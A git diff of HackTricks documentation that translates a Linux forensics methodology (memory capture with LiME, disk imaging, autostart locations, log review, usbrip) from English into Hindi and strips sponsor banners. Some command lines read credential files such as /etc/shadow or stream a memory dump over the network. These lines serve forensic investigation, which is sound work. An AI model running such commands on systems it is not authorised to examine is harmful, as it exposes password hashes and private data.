हैं।\ +यह उपयोगकर्ता खातों, चल रहे प्रक्रियाओं, चल रही सेवाओं और किसी भी अन्य चीज़ के साथ भी किया जा सकता है जो ज्यादा नहीं बदलनी चाहिए, या बिल्कुल नहीं। ## File Integrity Monitoring -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +File Integrity Monitoring (FIM) एक महत्वपूर्ण सुरक्षा तकनीक है जो IT वातावरण और डेटा की सुरक्षा करती है द्वारा फ़ाइलों में परिवर्तनों को ट्रैक करके। इसमें दो प्रमुख चरण शामिल हैं: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Baseline Comparison:** फ़ाइल विशेषताओं या क्रिप्टोग्राफिक चेकसम (जैसे MD5 या SHA-2) का उपयोग करके एक बेसलाइन स्थापित करें ताकि संशोधनों का पता लगाने के लिए भविष्य की तुलना की जा सके। +2. **Real-Time Change Notification:** जब फ़ाइलों को एक्सेस या संशोधित किया जाता है, तो तुरंत अलर्ट प्राप्त करें, आमतौर पर OS कर्नेल एक्सटेंशन के माध्यम से। ## Tools diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md index 8d505942f..fb54e5d65 100644 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ b/src/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## प्रारंभिक जानकारी संग्रहण -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### बुनियादी जानकारी +सबसे पहले, यह अनुशंसा की जाती है कि आपके पास कुछ **USB** हो जिसमें **अच्छी ज्ञात बाइनरी और पुस्तकालय हों** (आप बस उबंटू ले सकते हैं और फ़ोल्डर _/bin_, _/sbin_, _/lib,_ और _/lib64_ की कॉपी कर सकते हैं), फिर USB को माउंट करें, और उन बाइनरी का उपयोग करने के लिए env वेरिएबल को संशोधित करें: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +एक बार जब आपने सिस्टम को अच्छे और ज्ञात बाइनरीज़ का उपयोग करने के लिए कॉन्फ़िगर कर लिया, तो आप **कुछ बुनियादी जानकारी निकालना शुरू कर सकते हैं**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### संदिग्ध जानकारी -#### Suspicious information +बुनियादी जानकारी प्राप्त करते समय आपको अजीब चीजों की जांच करनी चाहिए जैसे: -While obtaining the basic information you should check for weird things like: +- **रूट प्रक्रियाएँ** आमतौर पर कम PIDS के साथ चलती हैं, इसलिए यदि आप एक बड़े PID के साथ रूट प्रक्रिया पाते हैं तो आप संदेह कर सकते हैं +- `/etc/passwd` के अंदर बिना शेल वाले उपयोगकर्ताओं के **पंजीकृत लॉगिन** की जांच करें +- बिना शेल वाले उपयोगकर्ताओं के लिए `/etc/shadow` के अंदर **पासवर्ड हैश** की जांच करें -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### मेमोरी डंप -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +चल रहे सिस्टम की मेमोरी प्राप्त करने के लिए, [**LiME**](https://github.com/504ensicsLabs/LiME) का उपयोग करने की सिफारिश की जाती है।\ +इसे **संकलित** करने के लिए, आपको **उसी कर्नेल** का उपयोग करना होगा जो पीड़ित मशीन उपयोग कर रही है। > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> याद रखें कि आप **पीड़ित मशीन में LiME या कोई अन्य चीज़ स्थापित नहीं कर सकते** क्योंकि इससे इसमें कई परिवर्तन होंगे +तो, यदि आपके पास Ubuntu का एक समान संस्करण है तो आप `apt-get install lime-forensics-dkms` का उपयोग कर सकते हैं।\ +अन्य मामलों में, आपको github से [**LiME**](https://github.com/504ensicsLabs/LiME) डाउनलोड करना होगा और इसे सही कर्नेल हेडर के साथ संकलित करना होगा। पीड़ित मशीन के **सटीक कर्नेल हेडर** प्राप्त करने के लिए, आप बस **डायरेक्टरी** `/lib/modules/` को अपनी मशीन पर कॉपी कर सकते हैं, और फिर **LiME** को उनका उपयोग करके संकलित कर सकते हैं: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME 3 **फॉर्मेट** का समर्थन करता है: -LiME supports 3 **formats**: +- Raw (हर खंड को एक साथ जोड़ा गया) +- Padded (raw के समान, लेकिन दाहिनी बिट्स में जीरो के साथ) +- Lime (मेटाडेटा के साथ अनुशंसित फॉर्मेट) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME का उपयोग **नेटवर्क के माध्यम से डंप भेजने** के लिए भी किया जा सकता है, इसके बजाय कि इसे सिस्टम पर संग्रहीत किया जाए, जैसे: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### डिस्क इमेजिंग -### Disk Imaging +#### सिस्टम को बंद करना -#### Shutting down +सबसे पहले, आपको **सिस्टम को बंद करना** होगा। यह हमेशा एक विकल्प नहीं होता क्योंकि कभी-कभी सिस्टम एक प्रोडक्शन सर्वर होता है जिसे कंपनी बंद नहीं कर सकती।\ +सिस्टम को बंद करने के **2 तरीके** हैं, एक **सामान्य शटडाउन** और एक **"प्लग को खींचना" शटडाउन**। पहला तरीका **प्रक्रियाओं को सामान्य रूप से समाप्त** करने और **फाइल सिस्टम** को **सिंक्रनाइज़** करने की अनुमति देगा, लेकिन यह संभावित **मैलवेयर** को **साक्ष्य नष्ट** करने की भी अनुमति देगा। "प्लग को खींचने" का दृष्टिकोण **कुछ जानकारी के नुकसान** को ले जा सकता है (जानकारी का बहुत अधिक हिस्सा खोने वाला नहीं है क्योंकि हमने पहले ही मेमोरी की एक इमेज ली है) और **मैलवेयर को इसके बारे में कुछ करने का कोई अवसर नहीं मिलेगा**। इसलिए, यदि आप **संदेह** करते हैं कि वहाँ **मैलवेयर** हो सकता है, तो बस सिस्टम पर **`sync`** **कमांड** निष्पादित करें और प्लग को खींचें। -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### डिस्क की इमेज लेना +यह ध्यान रखना महत्वपूर्ण है कि **किसी भी मामले से संबंधित किसी भी चीज़ से अपने कंप्यूटर को कनेक्ट करने से पहले**, आपको यह सुनिश्चित करना होगा कि इसे **केवल पढ़ने के लिए माउंट किया जाएगा** ताकि किसी भी जानकारी को संशोधित करने से बचा जा सके। ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Disk Image पूर्व-विश्लेषण -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +डिस्क इमेज को बिना किसी और डेटा के इमेज करना। ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## ज्ञात मैलवेयर के लिए खोजें -
+### संशोधित सिस्टम फ़ाइलें -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux सिस्टम घटकों की अखंडता सुनिश्चित करने के लिए उपकरण प्रदान करता है, जो संभावित समस्याग्रस्त फ़ाइलों को पहचानने के लिए महत्वपूर्ण है। -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +- **RedHat-आधारित सिस्टम**: व्यापक जांच के लिए `rpm -Va` का उपयोग करें। +- **Debian-आधारित सिस्टम**: प्रारंभिक सत्यापन के लिए `dpkg --verify` का उपयोग करें, इसके बाद `debsums | grep -v "OK$"` (जिसके लिए `debsums` को `apt-get install debsums` के साथ स्थापित करना होगा) का उपयोग करें ताकि किसी भी समस्या की पहचान की जा सके। -## Search for known Malware +### मैलवेयर/रूटकिट डिटेक्टर्स -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +मैलवेयर खोजने के लिए उपयोगी उपकरणों के बारे में जानने के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## स्थापित कार्यक्रमों की खोज करें -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Debian और RedHat सिस्टम पर स्थापित कार्यक्रमों की प्रभावी खोज के लिए, सामान्य निर्देशिकाओं में मैनुअल जांच के साथ-साथ सिस्टम लॉग और डेटाबेस का उपयोग करने पर विचार करें। -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Debian के लिए, पैकेज इंस्टॉलेशन के बारे में विवरण प्राप्त करने के लिए _**`/var/lib/dpkg/status`**_ और _**`/var/log/dpkg.log`**_ की जांच करें, विशेष जानकारी के लिए `grep` का उपयोग करें। +- RedHat उपयोगकर्ता स्थापित पैकेजों की सूची के लिए `rpm -qa --root=/mntpath/var/lib/rpm` के साथ RPM डेटाबेस को क्वेरी कर सकते हैं। +इन पैकेज प्रबंधकों के बाहर या मैन्युअल रूप से स्थापित सॉफ़्टवेयर को उजागर करने के लिए, _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, और _**`/sbin`**_ जैसी निर्देशिकाओं का अन्वेषण करें। ज्ञात पैकेजों से संबंधित नहीं होने वाले निष्पादन योग्य फ़ाइलों की पहचान करने के लिए निर्देशिका लिस्टिंग को सिस्टम-विशिष्ट कमांड के साथ मिलाएं, जिससे सभी स्थापित कार्यक्रमों की खोज को बढ़ावा मिलेगा। ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## हटाए गए चल रहे बाइनरी को पुनर्प्राप्त करें -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +कल्पना करें कि एक प्रक्रिया /tmp/exec से निष्पादित की गई थी और फिर हटा दी गई। इसे निकालना संभव है ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## ऑटॉस्टार्ट स्थानों का निरीक्षण करें -## Inspect Autostart locations - -### Scheduled Tasks - +### अनुसूचित कार्य ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### सेवाएँ -### Services +जहाँ एक मैलवेयर को सेवा के रूप में स्थापित किया जा सकता है: -Paths where a malware could be installed as a service: +- **/etc/inittab**: प्रारंभिक स्क्रिप्ट्स जैसे rc.sysinit को कॉल करता है, आगे स्टार्टअप स्क्रिप्ट्स की ओर निर्देशित करता है। +- **/etc/rc.d/** और **/etc/rc.boot/**: सेवा स्टार्टअप के लिए स्क्रिप्ट्स होते हैं, बाद वाला पुराने Linux संस्करणों में पाया जाता है। +- **/etc/init.d/**: कुछ Linux संस्करणों जैसे Debian में स्टार्टअप स्क्रिप्ट्स को संग्रहीत करने के लिए उपयोग किया जाता है। +- सेवाएँ **/etc/inetd.conf** या **/etc/xinetd/** के माध्यम से भी सक्रिय की जा सकती हैं, Linux के प्रकार के आधार पर। +- **/etc/systemd/system**: सिस्टम और सेवा प्रबंधक स्क्रिप्ट्स के लिए एक निर्देशिका। +- **/etc/systemd/system/multi-user.target.wants/**: उन सेवाओं के लिए लिंक होते हैं जिन्हें मल्टी-यूजर रनलेवल में शुरू किया जाना चाहिए। +- **/usr/local/etc/rc.d/**: कस्टम या तृतीय-पक्ष सेवाओं के लिए। +- **\~/.config/autostart/**: उपयोगकर्ता-विशिष्ट स्वचालित स्टार्टअप अनुप्रयोगों के लिए, जो उपयोगकर्ता-लक्षित मैलवेयर के लिए एक छिपने की जगह हो सकती है। +- **/lib/systemd/system/**: स्थापित पैकेजों द्वारा प्रदान की गई सिस्टम-व्यापी डिफ़ॉल्ट यूनिट फ़ाइलें। -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### कर्नेल मॉड्यूल -### Kernel Modules +Linux कर्नेल मॉड्यूल, जो अक्सर मैलवेयर द्वारा रूटकिट घटकों के रूप में उपयोग किए जाते हैं, सिस्टम बूट पर लोड होते हैं। इन मॉड्यूल के लिए महत्वपूर्ण निर्देशिकाएँ और फ़ाइलें शामिल हैं: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: चल रहे कर्नेल संस्करण के लिए मॉड्यूल रखता है। +- **/etc/modprobe.d**: मॉड्यूल लोडिंग को नियंत्रित करने के लिए कॉन्फ़िगरेशन फ़ाइलें होती हैं। +- **/etc/modprobe** और **/etc/modprobe.conf**: वैश्विक मॉड्यूल सेटिंग्स के लिए फ़ाइलें। -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### अन्य ऑटॉस्टार्ट स्थान -### Other Autostart Locations +Linux उपयोगकर्ता लॉगिन पर स्वचालित रूप से कार्यक्रमों को निष्पादित करने के लिए विभिन्न फ़ाइलों का उपयोग करता है, जो संभावित रूप से मैलवेयर को आश्रय दे सकती हैं: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, और **/etc/bash.bashrc**: किसी भी उपयोगकर्ता लॉगिन के लिए निष्पादित होते हैं। +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, और **\~/.config/autostart**: उपयोगकर्ता-विशिष्ट फ़ाइलें जो उनके लॉगिन पर चलती हैं। +- **/etc/rc.local**: सभी सिस्टम सेवाओं के शुरू होने के बाद चलती है, मल्टीयूजर वातावरण में संक्रमण के अंत को चिह्नित करती है। -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## लॉग की जांच करें -## Examine Logs +Linux सिस्टम उपयोगकर्ता गतिविधियों और सिस्टम घटनाओं को विभिन्न लॉग फ़ाइलों के माध्यम से ट्रैक करते हैं। ये लॉग अनधिकृत पहुंच, मैलवेयर संक्रमण, और अन्य सुरक्षा घटनाओं की पहचान के लिए महत्वपूर्ण हैं। प्रमुख लॉग फ़ाइलें शामिल हैं: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) या **/var/log/messages** (RedHat): सिस्टम-व्यापी संदेशों और गतिविधियों को कैप्चर करते हैं। +- **/var/log/auth.log** (Debian) या **/var/log/secure** (RedHat): प्रमाणीकरण प्रयासों, सफल और असफल लॉगिन को रिकॉर्ड करते हैं। +- प्रासंगिक प्रमाणीकरण घटनाओं को फ़िल्टर करने के लिए `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` का उपयोग करें। +- **/var/log/boot.log**: सिस्टम स्टार्टअप संदेशों को रखता है। +- **/var/log/maillog** या **/var/log/mail.log**: ईमेल सर्वर गतिविधियों को लॉग करता है, ईमेल-संबंधित सेवाओं को ट्रैक करने के लिए उपयोगी। +- **/var/log/kern.log**: कर्नेल संदेशों को संग्रहीत करता है, जिसमें त्रुटियाँ और चेतावनियाँ शामिल हैं। +- **/var/log/dmesg**: डिवाइस ड्राइवर संदेशों को रखता है। +- **/var/log/faillog**: असफल लॉगिन प्रयासों को रिकॉर्ड करता है, सुरक्षा उल्लंघन की जांच में मदद करता है। +- **/var/log/cron**: क्रोन जॉब निष्पादन को लॉग करता है। +- **/var/log/daemon.log**: पृष्ठभूमि सेवा गतिविधियों को ट्रैक करता है। +- **/var/log/btmp**: असफल लॉगिन प्रयासों का दस्तावेजीकरण करता है। +- **/var/log/httpd/**: Apache HTTPD त्रुटि और एक्सेस लॉग को रखता है। +- **/var/log/mysqld.log** या **/var/log/mysql.log**: MySQL डेटाबेस गतिविधियों को लॉग करता है। +- **/var/log/xferlog**: FTP फ़ाइल ट्रांसफर को रिकॉर्ड करता है। +- **/var/log/**: यहाँ अप्रत्याशित लॉग के लिए हमेशा जांचें। > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Linux सिस्टम लॉग और ऑडिट उपप्रणालियाँ एक घुसपैठ या मैलवेयर घटना में अक्षम या हटा दी जा सकती हैं। क्योंकि Linux सिस्टम पर लॉग आमतौर पर दुर्भावनापूर्ण गतिविधियों के बारे में कुछ सबसे उपयोगी जानकारी रखते हैं, घुसपैठिए नियमित रूप से उन्हें हटा देते हैं। इसलिए, उपलब्ध लॉग फ़ाइलों की जांच करते समय, यह महत्वपूर्ण है कि आप उन अंतरालों या अनुक्रम से बाहर की प्रविष्टियों की तलाश करें जो हटाने या छेड़छाड़ का संकेत हो सकते हैं। -**Linux maintains a command history for each user**, stored in: +**Linux प्रत्येक उपयोगकर्ता के लिए एक कमांड इतिहास बनाए रखता है**, जो निम्नलिखित में संग्रहीत होता है: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +इसके अलावा, `last -Faiwx` कमांड उपयोगकर्ता लॉगिन की एक सूची प्रदान करता है। अज्ञात या अप्रत्याशित लॉगिन के लिए इसे जांचें। -Check files that can grant extra rprivileges: +अतिरिक्त rprivileges देने वाली फ़ाइलों की जांच करें: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- अप्रत्याशित उपयोगकर्ता विशेषाधिकारों के लिए `/etc/sudoers` की समीक्षा करें जो दिए जा सकते हैं। +- अप्रत्याशित उपयोगकर्ता विशेषाधिकारों के लिए `/etc/sudoers.d/` की समीक्षा करें जो दिए जा सकते हैं। +- किसी भी असामान्य समूह सदस्यता या अनुमतियों की पहचान के लिए `/etc/groups` की जांच करें। +- किसी भी असामान्य समूह सदस्यता या अनुमतियों की पहचान के लिए `/etc/passwd` की जांच करें। -Some apps alse generates its own logs: +कुछ ऐप्स भी अपने स्वयं के लॉग उत्पन्न करते हैं: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: अनधिकृत दूरस्थ कनेक्शनों के लिए _\~/.ssh/authorized_keys_ और _\~/.ssh/known_hosts_ की जांच करें। +- **Gnome डेस्कटॉप**: Gnome अनुप्रयोगों के माध्यम से हाल ही में एक्सेस की गई फ़ाइलों के लिए _\~/.recently-used.xbel_ में देखें। +- **Firefox/Chrome**: संदिग्ध गतिविधियों के लिए _\~/.mozilla/firefox_ या _\~/.config/google-chrome_ में ब्राउज़र इतिहास और डाउनलोड की जांच करें। +- **VIM**: उपयोग विवरणों के लिए _\~/.viminfo_ की समीक्षा करें, जैसे एक्सेस की गई फ़ाइलों के पथ और खोज इतिहास। +- **Open Office**: हाल की दस्तावेज़ पहुंच की जांच करें जो समझौता की गई फ़ाइलों का संकेत दे सकती है। +- **FTP/SFTP**: अनधिकृत फ़ाइल ट्रांसफर के लिए _\~/.ftp_history_ या _\~/.sftp_history_ में लॉग की समीक्षा करें। +- **MySQL**: संभावित रूप से अनधिकृत डेटाबेस गतिविधियों को प्रकट करने के लिए _\~/.mysql_history_ की जांच करें। +- **Less**: उपयोग इतिहास के लिए _\~/.lesshst_ का विश्लेषण करें, जिसमें देखी गई फ़ाइलें और निष्पादित कमांड शामिल हैं। +- **Git**: रिपॉजिटरी में परिवर्तनों के लिए _\~/.gitconfig_ और प्रोजेक्ट _.git/logs_ की जांच करें। -### USB Logs +### USB लॉग -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) एक छोटा सा सॉफ़्टवेयर है जो शुद्ध Python 3 में लिखा गया है जो USB इवेंट इतिहास तालिकाओं का निर्माण करने के लिए Linux लॉग फ़ाइलों (`/var/log/syslog*` या `/var/log/messages*` वितरण के आधार पर) को पार्स करता है। -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +यह जानना दिलचस्प है कि **सभी USBs का उपयोग किया गया है** और यदि आपके पास "उल्लंघन घटनाओं" (उन USBs का उपयोग जो उस सूची में नहीं हैं) को खोजने के लिए एक अधिकृत USBs की सूची है तो यह और भी उपयोगी होगा। +### स्थापना ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### उदाहरण ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +अधिक उदाहरण और जानकारी गिटहब में: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## उपयोगकर्ता खातों और लॉगिन गतिविधियों की समीक्षा करें -
+असामान्य नामों या खातों के लिए _**/etc/passwd**_, _**/etc/shadow**_ और **सुरक्षा लॉग** की जांच करें जो ज्ञात अनधिकृत घटनाओं के निकटता में बनाए गए या उपयोग किए गए हैं। इसके अलावा, संभावित sudo ब्रूट-फोर्स हमलों की जांच करें।\ +इसके अलावा, उपयोगकर्ताओं को दिए गए अप्रत्याशित विशेषाधिकारों के लिए _**/etc/sudoers**_ और _**/etc/groups**_ जैसी फ़ाइलों की जांच करें।\ +अंत में, **कोई पासवर्ड नहीं** या **आसानी से अनुमानित** पासवर्ड वाले खातों की तलाश करें। -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## फ़ाइल प्रणाली की जांच करें -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +### मैलवेयर जांच में फ़ाइल प्रणाली संरचनाओं का विश्लेषण -## Review User Accounts and Logon Activities +जब मैलवेयर घटनाओं की जांच की जाती है, तो फ़ाइल प्रणाली की संरचना जानकारी का एक महत्वपूर्ण स्रोत होती है, जो घटनाओं के अनुक्रम और मैलवेयर की सामग्री को प्रकट करती है। हालाँकि, मैलवेयर लेखक इस विश्लेषण को बाधित करने के लिए तकनीकें विकसित कर रहे हैं, जैसे फ़ाइल टाइमस्टैम्प को संशोधित करना या डेटा भंडारण के लिए फ़ाइल प्रणाली से बचना। -Examine the _**/etc/passwd**_, 